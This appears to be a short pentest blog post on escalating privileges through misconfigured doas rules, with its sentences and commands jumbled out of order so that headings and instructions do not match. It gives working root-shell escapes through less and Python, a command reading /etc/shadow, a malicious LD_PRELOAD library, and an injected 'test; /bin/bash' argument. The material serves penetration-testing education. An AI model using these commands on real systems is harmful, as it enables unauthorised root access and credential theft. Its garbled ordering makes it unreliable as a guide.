Example script:

gcc -shared -fPIC evil.c -o evil.so LD_PRELOAD=./evil.so doas -n id If doas is called with unsanitized user input in a script.

In this post, we’ll break down how doas works, where to find it, and how to abuse it for privilege escalation during a pentest. doas was originally from OpenBSD. It allows users to execute commands as another user (usually root) with a minimal configuration file: /etc/doas.conf

Keep hacking. Keep escalating.

cat /etc/doas.conf permit|deny [options] identity as target cmd [args] Examples:

./script.sh "test; /bin/bash" permit persist user1 as root Once you run doas -n id with password once, subsequent commands don’t need a password for a few minutes.

permit nopass user1 as root Check:

doas /usr/bin/less /etc/shadow # inside less: !/bin/sh Or Python bypass:

permit keepenv user1 as root Compile a malicious lib:

doas /usr/bin/python3 -c 'import pty;pty.spawn("/bin/sh")' Many binaries allow shell escapes.

doas -n id # uid=0(root) gid=0(root) Escalate:

If you’ve spent any time on BSD or modern Linux systems (like Alpine), you’ve probably seen doas lurking in the shadows. It’s the leaner, meaner cousin of sudo — simpler config, fewer CVEs, and still dangerous if misconfigured.